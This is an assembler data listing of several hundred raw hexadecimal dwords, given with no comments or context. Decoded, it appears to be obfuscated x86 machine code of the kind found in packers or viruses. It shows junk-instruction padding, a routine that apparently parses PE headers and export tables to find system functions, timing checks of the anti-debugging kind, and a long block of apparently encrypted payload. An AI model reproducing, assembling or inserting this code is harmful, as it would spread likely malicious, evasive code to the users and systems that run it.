0BDA7D144h, 244439F5h dd 51850F04h, 0F000000h, 783h, 18E0F00h, 0FC000000h, 1505BD83h dd 0F000613h, 3784h, 85853100h, 8D061319h, 133AAD85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0E0FFB720h, 6890Fh, 95890000h, 6131B29h, 10D1858Bh dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 8CFF9CC3h, 34DED881h, 24443964h, 41850F04h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0EA09C356h, 0B918501h, 85C70613h dd 6167C1Dh, 1, 0FE9h, 0B0C6A200h, 25963FECh, 0C1968396h dd 0AC9E592Ah, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0FA03011Bh, 28E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 14E11D4Ch, 5EADFB32h, 21h, 1B800h, 85870000h, 6167D73h dd 0F675C00Bh, 11E1B5FFh, 858F0613h, 6167C15h, 0FF6A206Ah dd 0D0995FFh, 0BD830613h, 61334A1h, 6A087400h, 0A995FF00h dd 8306130Dh, 1322C1BDh, 0D740106h, 8068h, 0FFFF6A00h dd 130D0995h, 0BF0F6006h, 0BD8950C3h, 6132165h, 11E9615Bh dd 4F000000h, 0A2D59E60h, 129A1DE7h, 0A9D6033Dh, 0A9942C31h dd 0B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0BD896456h, 6131CE1h, 68A0Fh, 0B5890000h dd 61301C5h, 2824548Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 69C35242h, 0F5C9469Ah, 6E9h, 360B7800h dd 891AB606h, 132BC585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 91118387h, 8D3113C1h dd 6130619h, 3CBEh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8D2996F6h, 6131D3Dh, 24247403h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E6C35242h dd 3869B607h, 0A253B878h, 1A6D8589h, 8D0F0613h, 0Eh, 9E9h dd 92A87700h, 34D1B342h, 0AD662E91h, 0BE9h, 0CDADD800h dd 2B4C1A1Ch, 0CB9FB466h, 24244403h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0B7C35242h, 0FC8F39E9h, 1DC7362Ah dd 0CE960BAh, 62000000h, 50AC2C69h, 6898037Fh, 890EE9D2h dd 1316458Dh, 0F906106h, 88Bh, 2830F00h, 60000000h, 0F605061h dd 281h, 61616000h, 408BF990h, 51006A78h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0E82A963Ah dd 839EE147h, 167C1DBDh, 850F0006h, 0DEh, 5E9h, 4E35A800h dd 0E9503157h, 9, 25605CABh, 62EF1CF0h, 240489E1h, 24448BFCh dd 51006A2Ch, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 8529F593h, 6130F01h, 60525050h, 0AE95B51h dd 2A000000h, 0C51D4835h, 754D3FE9h, 310F613Ah, 52505250h dd 585A310Fh, 0EE9310Fh, 3A000000h, 343C93EBh, 6D01DDD2h dd 2039C0A3h, 5A585A31h, 24048958h, 23E19589h, 858D0613h dd 6164B4Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 2C35242h, 0F8C8811Ch, 17398D29h, 0D0FF0613h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 63C35747h, 1F87D7C6h dd 8FC78857h, 9E59D09h, 44030613h, 6A2824h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0BBF59C3h dd 0EF26CDBFh, 8D29604Ch, 6130AE9h, 2C099589h, 8B610613h dd 6A1840h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 7016EEC3h, 25CB0F75h, 19840FF9h, 0E9000000h dd 14h, 9294DF88h, 1AA11296h, 0E26236DFh, 71A82CA5h, 0BCDE5065h dd 55006A40h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 2A3F103Dh, 36AB86B7h, 0E8F0Fh, 0F600000h dd 87h, 19BD0300h, 6106130Fh, 7C198589h, 6A0616h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0F960C8C3h, 24399D89h, 0E9610613h, 0Dh, 90229DFCh, 6315DBBDh dd 0B35CCCD3h, 896058CBh, 131E39BDh, 0AEEB8106h, 6173D0BAh dd 1BB5B589h, 708B0613h, 45BD2978h, 8306132Ah, 6A1CC6h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 1E3A2AC3h, 0A23A6639h, 56006A96h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 16744705h dd 0F8F515AEh, 24247C81h, 10000000h, 0D6870Fh, 85010000h dd 6131F91h, 52506050h, 0B866310Fh, 585A847Dh, 1F9074BAh dd 4896171h, 0EE924h, 0A0CD0000h, 0EA3EC897h, 0D5962F76h dd 9E3B5BEAh, 2824448Bh, 413ABE60h, 85895C92h, 6130E45h dd 52505061h, 0BB585360h, 30364C58h, 60310F61h, 0A5BF5F51h dd 617634F1h, 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 89D1996Ch, 1306C59Dh dd 21958906h, 8D06130Fh, 164B4C85h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0D0FF11F4h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DCC35747h dd 0A9C0B323h, 6800Fh, 0BD290000h, 6133201h, 55006A96h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0FE4C5F0Eh, 29504F4Ch, 131DED8Dh, 81666006h, 2BB2FBC6h dd 13252995h, 74036106h, 0AE92424h, 84000000h, 296BE6BAh dd 0F61735E3h, 0C1BD8D60h, 6A061318h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6A47C351h dd 9691946h, 0C9D288DCh, 60F5ADF9h, 3161B529h, 0EE90613h dd 0E000000h, 0C7E3B394h, 0A751E660h, 2E43063Dh, 7C8161E9h dd 2424h, 870F1000h, 0D3h, 0C810Fh, 8E0F0000h, 6, 0F59501h dd 8B600613h, 132BCD85h, 60506106h, 8B6640B7h, 48961C6h dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 3F58B12Ah, 10D239A2h, 8B607F5Ah, 130CF985h dd 448B6106h, 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 58E984C3h, 2F427687h, 8501BA22h dd 613204Dh, 6E990h, 18560000h, 22118253h, 13820F50h, 0E9000000h dd 0Eh, 1990DE5Ch, 0C2B46B43h, 0E2FE8A43h, 0E9907EE9h dd 0Ah, 0D6A6F456h, 15DE1B36h, 858D40A8h, 6164B4Ch, 1069B589h dd 0D0FF0613h, 58F0F60h, 66000000h, 0DE7CCF81h, 36130B5h dd 0FC242444h, 0FA81F9ABh, 10000h, 6E7820Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 171D12C3h, 0A28C0A0Eh, 95013DB8h, 6130F91h dd 951BD8Dh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 3135C3h, 5195890Dh, 0AD061313h dd 1890Fh, 81F50000h, 24247Ch, 0F100000h, 0CC87h, 0E950F500h dd 8, 614E175Dh, 0EDBBA115h, 0F240489h, 680h, 0C5958900h dd 8B061307h, 29282444h, 131EB1BDh, 14E99006h, 0C2000000h dd 0CB8171ECh, 1D8558C7h, 83AE9C60h, 0D29258AEh, 50EFE4BBh dd 0DE960h, 40F40000h, 993B2CDEh, 60319586h, 663960A0h dd 615A21B8h, 14E990h, 226C0000h, 24B2D189h, 0BA7AA1F2h dd 0A7035CBCh, 0A67A854Fh, 858D21CCh, 6164B4Ch, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1DC35747h, 7D0D4666h dd 7FD4B99Dh, 7DB589E7h, 0FF06131Ah, 50006AD0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 9C2CC59h, 130921B5h dd 24440306h, 75B58924h, 50061329h, 0F605250h, 85h, 10BA6600h dd 310F6118h, 0CE8B6660h, 5A615852h, 24048958h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EBC35040h, 0C7E5879Dh dd 0B8D4E4C2h, 50006AABh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 822D09A8h, 0F6C935Bh dd 689h, 0C9852900h, 89061304h, 132B6985h, 55BD8D06h, 6A06131Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0E9BFC350h, 0Bh, 38B87774h, 77747621h, 0AD2138B8h dd 21A98D89h, 7C810613h, 2824h, 870F1000h, 10Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 1CC35040h, 800F506Ch dd 19h, 14E9h, 63B82800h, 0F7E443C4h, 0C58D67F9h, 0AEFF6E19h dd 6E7555Ch, 24048915h, 0F5CB8B60h, 24448B61h, 0E19D092Ch dd 9006131Ah, 14E95250h, 0E8000000h, 21866D22h, 8DA85874h dd 0EBC1B9D0h, 0DD71F070h, 0F3C9D7Eh, 61606031h, 50585A61h dd 0E8C78B60h, 0Ah, 0E66F37E0h, 0B856A1F6h, 52502A91h dd 585A310Fh, 6A906158h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0E9CCC355h, 89FCF5B0h dd 1331B585h, 4C858D06h, 6A06164Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F578C355h dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0F8341DC3h, 0EE9h, 360E4B00h, 20169E43h dd 86A4974h, 34C7151h, 89282444h, 132049BDh, 8800F06h dd 60000000h, 34A0BB66h, 0AB61FDB5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 3BC35242h, 0F91C1A4Ch, 978534Eh dd 130D9D95h, 0DE906h, 0CCFD0000h, 77383EA6h, 9ED7179Ch dd 5EC9AE82h, 7C198DFFh, 0BD830616h, 6167C19h, 330A7500h dd 0B3B58DC0h, 0FF06168Ah, 81AD56E6h, 28247Ch, 77100000h dd 448B500Eh, 8D502C24h, 164B4C85h, 3D0FF06h, 97282444h dd 858ADF8Bh, 6167C15h, 474C084h, 4C75073Ah, 0AEC03257h dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 2BC585FFh dd 5DE90613h, 5EFFFFFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 36C35646h, 0F761A067h, 8BE18A6Ch, 48B0Fh dd 53600000h, 6A615Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 1944ABC3h, 0EDC475CFh, 3160B099h dd 1305959Dh, 10E906h, 0B1D60000h, 950667ACh, 5F5851B1h dd 0C0553716h, 8B611BFBh, 132BC585h, 65B58906h, 0D1061301h dd 11E9E0h, 906D0000h, 0B463A8FEh, 3D370EFAh, 0A954C516h dd 0F08E257h, 68Eh, 0E1852900h, 3061323h, 131B5585h, 0E7816006h dd 44554301h, 2A6D8589h, 2B610613h, 6A96F8F6h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0E921C352h, 0Ah, 5151E804h, 7FFDDF8h, 860F24C9h, 1 dd 6AAD66FCh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0C0B9C350h, 7E9h, 0D0A2F400h dd 99679504h, 22800Fh, 8B600000h, 1311998Dh, 14E806h, 2B4A0000h dd 36FA0C14h, 0DB8A0E97h, 0FCCCF348h, 55FDE3F1h, 615F9BFEh dd 0F02E0C1h, 684h, 7D8D0100h, 3061300h, 1318C185h, 5E906h dd 79650000h, 0FC76F934h, 11E96096h, 40000000h, 0B2DDDD36h dd 82AB5278h, 3BF1C4F9h, 7B1918ECh, 870FAD61h, 0Ch, 68E0Fh dd 0B5890000h, 6130BD1h, 24247C81h, 10000000h, 0D0870Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 8F643DC3h, 902BA271h, 0BE9h, 0D54D9F00h dd 7A46CD5Fh, 0A36E7519h, 0EE96050h, 0AF000000h, 56720090h dd 0E4E18D4Bh, 1E84B9EDh, 0F906143h, 0E8Fh, 958B6000h dd 6130D49h, 10718D03h, 8B610613h, 0E9282444h, 9, 4CB6E04Eh dd 0D39F0C07h, 0BF609008h, 5E336577h, 0DDED11BAh, 0E9506122h dd 0Ch, 5112A638h, 50F30C3Bh, 0D161B2BCh, 99858990h, 8D061316h dd 164B4C85h, 0DE906h, 24DE0000h, 85661A5Eh, 0A1D5071Bh dd 0FF170AFBh, 840F60D0h, 13h, 0DE8h, 36965E00h, 804E94DBh dd 0B7B16393h, 8B5EF057h, 131EF9B5h, 44036106h, 6A2424h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0EA94D7C3h, 89FE7CE4h, 130C318Dh, 24448906h, 0AD85011Ch dd 0C6061320h, 1311E185h, 85C70006h, 6167D73h, 0 dd 7C1D85C7h, 616h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 16068C3h, 13147185h dd 0F5616106h, 890008C2h, 132071BDh, 0C1858B06h, 60061318h dd 68B002BBh, 61CA8B2Dh, 51006A4Ah, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0BD9D59CBh, 8509F186h dd 6131C05h, 0F04D26Bh, 0D8Dh, 81666000h, 0FD82BEAh, 80h dd 0C2036100h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 4AC35040h, 4AB20722h, 3C38160h, 80641F4Bh, 0E961E2CDh dd 0Eh, 0D46E0CE8h, 974BF0CAh, 0C3368ECDh, 6A96FFCFh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0BF3EC350h, 12880Fh, 0DE90000h, 6D000000h, 9F676B44h dd 4EA91D44h, 0B9E55903h, 6AADF5h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 3D2493C3h, 93487BF5h dd 0E995246Bh, 11h, 27C9D8A2h, 7F4F41F4h, 0DD9A16C8h, 5E332F59h dd 247C81EFh, 24h, 9B870F10h, 89000000h, 130A699Dh, 11E906h dd 47B80000h, 0A1378231h, 0D06C65C5h, 0D6F4C6EEh, 50FBAE64h dd 0CE9h, 985FFA00h, 0BADA3444h, 0F08DC89Ch, 24048934h dd 24448BFCh, 5090F528h, 6840F52h, 0F000000h, 82h, 60310F00h dd 810F6160h, 0 dd 50585A61h, 66F2B160h, 6197C7BBh, 81666090h, 0E916E3E6h dd 13h, 0D5C8D434h, 2B3C782Ch, 0A50C35B6h, 967F3D16h, 61E93F65h dd 4B4C858Dh, 56600616h, 62D8529h, 8B580613h, 1307719Dh dd 0D0FF6106h, 581BD31h, 0D3E90613h, 6AFFFFFDh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8DDBC351h, 168F5E85h, 81666006h, 8B685FD0h, 132535B5h dd 60506106h, 32BBA66h, 5AFA8B50h, 24048961h, 10E9h, 8B43F900h dd 0C1670DE0h, 0E643689h, 0C6DAB8F9h, 35FF6438h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 43C35242h dd 0EE9B008h, 95000000h, 0A6809BEAh, 1A043F6Ah, 0B8DB5A24h dd 24048B5Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 17C35646h, 5185892Eh, 6006131Dh, 5840Fh, 81660000h dd 811D4DC0h, 0C4BCABCEh, 8964614Bh, 25h, 0E19D2900h, 8D06131Bh dd 168DD285h, 6860F06h, 89000000h, 1330218Dh, 1608906h dd 92D9509h, 0DE90613h, 41000000h, 0E28507CBh, 8660A79Eh dd 4CDFF07Eh, 1D4E9h, 0BD896000h, 6131FD1h, 0B8423BBEh dd 0DB8B6176h, 0E8h, 0ED815D00h, 6168DCBh, 12FF9CBCh, 0C1BD8300h dd 61322h, 858B1874h, 6130F55h, 8B0000C6h, 13206D85h, 0C606h dd 1CBD95FFh, 0FF600613h, 167821B5h, 25858D06h, 50061678h dd 7A1D858Dh, 0FF500616h, 13118595h, 0CC48306h, 8E961h dd 3DB0000h, 0A3677F54h, 6ADA42h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 27CEC4C3h, 4D4182A3h dd 9D01A657h, 613141Dh, 70BA6660h, 76DF8182h, 615C2DE5h dd 1DB58DF8h, 8906167Ah, 13169D8Dh, 9BD8D06h, 60061326h dd 0FC88B66h, 487h, 1BB6600h, 95896159h, 6131459h, 0F003E80h dd 3D84h, 0E9A4F900h, 9, 11FF97BDh, 864EE295h, 68F0FCCh dd 89000000h, 1320859Dh, 0FFD6E906h, 8A0FFFFFh, 16h, 11E9h dd 9E01FC00h, 5578CB04h, 34E5628Bh, 0FD125AC5h, 0B8FECEh dd 0E9000000h, 0Eh, 0ED057B10h, 116D8F10h, 29B0C9DBh, 6AAAB3CAh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0C7E3C353h, 7B8E660h, 60000000h, 595BD89h dd 7E90613h, 61000000h, 295B191h, 0C76194E5h, 1321BD85h dd 106h, 13E900h, 0C6B50000h, 9989FAC1h, 68AC2494h, 20497A16h dd 863241E1h, 8D8D8DB8h, 6006134Fh, 0AE641DB9h, 61D08B66h dd 880FE1FFh, 0Ch, 6870Fh, 95890000h, 6132595h, 0C245C8Bh dd 0E855h, 815D0000h, 168F68EDh, 0B8838B06h, 89000000h dd 16782185h, 0C4858D06h, 8906168Dh, 0B883h, 0C0335D00h dd 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0F75E8B01h, 11E99EC3h, 6E000000h, 0C38A8664h dd 7C15CAC3h, 1A732439h, 6ED6AE59h, 6850Fh, 9D310000h dd 613219Dh, 1820Fh, 60F80000h, 168C0Fh, 11E90000h, 5C000000h dd 75569483h, 7F819D15h, 9543C30Ah, 0E2212C4Ch, 918F858Dh dd 50F50616h, 1E810Fh, 52500000h, 310F6160h, 11E9h, 0B2103A00h dd 0EC35166Dh, 8A3AFE92h, 0F2FD2E4Fh, 585A1B60h, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 7F64C350h, 870FAAF7h, 6, 0F2D8531h, 0FF640613h dd 35h, 1860F00h, 0F9000000h, 258964h, 0E9000000h, 0Ah dd 8759051Fh, 59310C61h, 8D09410Bh, 6132FA5h, 9237858Dh dd 6A0616h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0B5C5F1C3h, 9D89692Bh, 6131AF5h, 1F858D29h dd 60890613h, 50006A01h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0B6B010A8h, 0B1E4F51Ch, 89FC6CF2h dd 1305B595h, 0E185C606h, 4F061311h, 31F18509h, 7A680613h dd 0E9DE83ECh, 10h, 0DA0BDC52h, 35DB9D57h, 0B094751Fh dd 84343E0Ah, 50243481h, 9204B98h, 130FC9BDh, 65B58906h dd 0FF061325h, 131EE9B5h, 0E9952906h, 8D061328h, 167C3385h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 3A72DC8Bh, 47E82A96h, 0C8F0Fh, 8C0F0000h dd 6, 8D0Fh, 0D0FF0000h, 953160F8h, 6130C4Dh, 0CEE961F5h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 9D80C351h, 29C9E7DEh, 13189585h dd 245C8B06h, 0E8550Ch, 5D000000h, 9199ED81h, 858B0616h dd 613116Dh, 1EE98589h, 858B0613h, 61310D1h, 1FE58589h dd 858B0613h, 61307C9h, 55D8589h, 85C60613h, 61311E1h dd 7385C700h, 6167Dh, 8D000000h, 16923785h, 0B8838906h dd 5D000000h, 6AC3C033h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 8D88C357h, 82657B30h dd 8D89D663h, 6131EEDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 36C35040h, 0E97CE55Ah, 98B9500h, 131541B5h dd 0FF74BC06h, 6A0012h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0B53415C3h, 0A7985804h, 0B589334Ah dd 61322C5h, 58F64h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 167CC350h, 7E6E9606h dd 8D896028h, 6132CD9h, 0C48361F5h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 43F7DE2Dh dd 106324A9h, 29C19D29h, 61F90613h, 83E9h, 52515300h, 5C8B5756h dd 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch, 45503B81h dd 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch, 1C247403h dd 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h, 41FFC983h dd 1C245C8Bh, 5403178Bh, 0C7832024h, 84028A04h, 3A0874C0h dd 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h, 48B0F04h dd 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h, 0FFFFFFF1h dd 0DE8CA8Bh, 0EB000000h, 5565E419h, 97D80076h, 0CA9AE530h dd 28B0Fh, 0D08B0000h, 0CAB70F5Bh, 5AF4C381h, 8B660000h dd 1683BFD0h, 830F0000h, 19h, 138D0Fh, 0DE80000h, 0FE000000h dd 0F9464AC0h, 0D1A3FC0h, 8A07EA89h, 0E833FF5Ah, 14h, 0FD345D2Eh dd 0A83BBDB0h, 6D31D76h, 8A46DD89h, 0DE59EA83h, 54059CB8h dd 0B15E5A36h, 0B1F68146h, 0E96F5B95h, 0Ah, 7F1994DCh dd 0FE9B3852h, 0EE815A81h, 2FED01ADh, 8C50BA50h, 8159402Ch dd 0F88CACEEh, 0F8C18177h, 893BC1BCh, 8E833h, 88370000h dd 11540D27h, 835A3E1Ch, 816601EBh, 4B45F4C8h, 0B8664B4Bh dd 0EF812BBEh, 1, 1B850Fh, 800F0000h, 5, 0E4F28166h, 19E92Bh dd 5D890000h, 26B7CA75h, 49099CB1h, 50B16015h, 0FF5FE961h dd 0D69BFFFFh, 0E9B661D1h, 0FAh, 2D7B691Fh, 8A055C97h dd 76A18883h, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 171E577Dh dd 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h dd 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh, 20602060h dd 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h, 28602060h dd 0F0362BA7h, 0F360C950h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h dd 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h dd 5D340700h, 59A0A3D2h, 1Eh, 4 dup(0) dd 0E6E90000h, 6800000Bh, 616979Dh, 0FCEC13E9h, 988568FFh dd 9E90616h, 68FFFCECh, 6169939h, 0FCEBFFE9h, 99CF68FFh dd 0F5E90616h, 68FFFCEBh, 6169A60h, 0FCEBEBE9h, 9AF668FFh dd 0E1E90616h, 68FFFCEBh, 6169C58h, 0FCEBD7E9h, 9D2F68FFh dd 0CDE90616h, 68FFFCEBh, 6169E14h, 0FCEBC3E9h, 9F0268FFh dd 0B9E90616h, 68FFFCEBh, 6169FB6h, 0FCEBAFE9h, 74E270FFh dd 6CE27456h, 72D86C4Eh, 73DD6E54h, 74E06D53h, 0A3C86756h dd 0BAA03E16h, 0A88A282Ah, 0B3953513h, 0BF8C2A22h, 49F16DA0h dd 67BA16B4h, 4DE0C2FBh, 8B2F6EFFh, 0C1401139h, 0C884D5F7h dd 4B075579h, 0C987D8FAh, 4A045678h, 41BAD8FBh, 0FA8F0354h dd 7757F548h, 77543237h, 8EA39306h, 4696BC16h, 0E627C40Ch dd 7C28DEC9h, 13E3C3DCh, 0A5381AC9h, 902107A7h, 0AA3B1FBCh dd 8CCB1AA2h, 2C3D17A6h, 25A4E3EDh, 9D0A8A6Eh, 9F5D5780h dd 1DF0C5BFh, 9C2428B9h, 9829D972h, 0A13416B4h, 0BA2B0CABh dd 0A8A1560h, 8DDCE429h, 73D96C4Eh, 3719A3E2h, 0EF97A6A6h dd 0A73AE861h, 0EFAD05A5h, 915AAD8Ah, 0A93317A9h, 4A772h dd 6CBDC800h, 0DDCC3E0h, 6BE1F7D3h, 3E80DFE9h, 454161EBh dd 654D6A1Ch, 0A9E879D5h, 4E96B205h, 0BD0C2E11h, 83BE4D97h dd 0C168F98h, 0B49BB889h, 0EC5248BAh, 0A7E6EE00h, 0A8AD527h dd 0EF7ED663h, 62F35BEBh, 9E87046Eh, 1E3EBB57h, 5AACC65Eh dd 0C6C61A40h, 8ADD3B97h, 0E081040Ah, 71A83051h, 4Dh, 70E5C2C5h dd 109DB516h, 0CA1CBEDFh, 0E9003C84h, 0CECF3E9Dh, 9F168E98h dd 409EEF7Eh, 970A8A89h, 0B8D06248h, 0F5122FF2h, 16B8D9B1h dd 0C53F89C3h, 75480834h, 0D2A5AADh, 8A487ED8h, 0D490AF0Ah dd 86B74884h, 158C54B9h, 0B9h, 0E06CBD29h, 74E06D51h, 0FC50E1E5h dd 74D8696Dh, 0B7962756h, 0D3F7109Dh, 1D7CCD85h, 1C3081D3h dd 3499CBEh, 9BEBF632h, 0B6C4C93Ch, 2A0D168Eh, 8AA45FBBh dd 0DBE5280Ah, 3957498Eh, 0D0E312B5h, 0CC1511B1h, 0CC6034F4h dd 0DCBD690Dh, 868B8EFFh, 21641074h, 4311A082h, 0CE604263h dd 8850B180h, 285DF746h, 79F00A2Eh, 0E685C067h, 5A000008h dd 466C4A0Ch, 567C5AF4h, 486A4802h, 577959F7h, 396C4A0Ah dd 0C4895F6h, 163C8CAEh, 0B3D92B8h, 183485ABh, 3FAEB1BAh dd 16B44BE3h, 0C2C975ACh, 0DC2934DDh, 1FA95E39h, 87F6A02Dh dd 109E780Bh, 0F2D0B1D4h, 0EFCF7DD0h, 0C8BEA351h, 57E6CCEBh dd 0A32D6CFDh, 8E986564h, 86D73616h, 8A8797F7h, 0CD85D30Ah dd 46085A7Ch, 9D2E64F7h, 54E521A8h, 0AD396828h, 0B0D05Ah dd 0BD660000h, 0DFC3E06Ch, 0D2330252h, 0EA775B0Ah, 0DBFCDB6Ah dd 9DB530AAh, 4C94F910h, 9DB84CBDh, 3715A810h, 2C20B197h dd 0BCCA1F1Dh, 0A6AE3B1Fh, 716E7697h, 8EB619FCh, 0A0D5F216h dd 0A8AA326h, 0EFCFAEEFh, 0D806BAAFh, 0FB293C26h, 0D7FBD8B9h dd 0D2FFC989h, 74F98FA3h, 0A6058810h, 0BF1F3584h, 55084C99h dd 79F08B6Bh, 0FEFCD990h, 42000007h, 5E4462F4h, 0FE2482CCh dd 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh, 0AEA43416h dd 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B44D7Bh, 0BD71CD44h dd 0BC902170h, 87DCFEDDh, 0C71170C1h, 3616A789h, 6CBD3A98h dd 0DC6D51E0h, 626C5270h, 49662049h, 8EA59514h, 0DC311616h dd 0F82C2CDFh, 7095529Ah, 19CAFE8Fh, 5198E842h, 0CE679635h dd 0CF11B28Eh, 2DDBEB88h, 7F1E81B0h, 0EF97D2EEh, 7DC8EFD0h dd 0FD0F9FD8h, 418EFDC7h, 0AE0B9C2Dh, 506F506Fh, 979CC11Dh dd 184D8AFFh, 0FF979CBEh, 5D670687h, 4462EA7Bh, 0CC81CB5Eh dd 751333FEh, 4A7D580Fh, 0F6000007h, 0EAD0EE68h, 0F2D8F658h dd 0ECCEEC5Eh, 0F3D5F55Bh, 0DDD0EE66h, 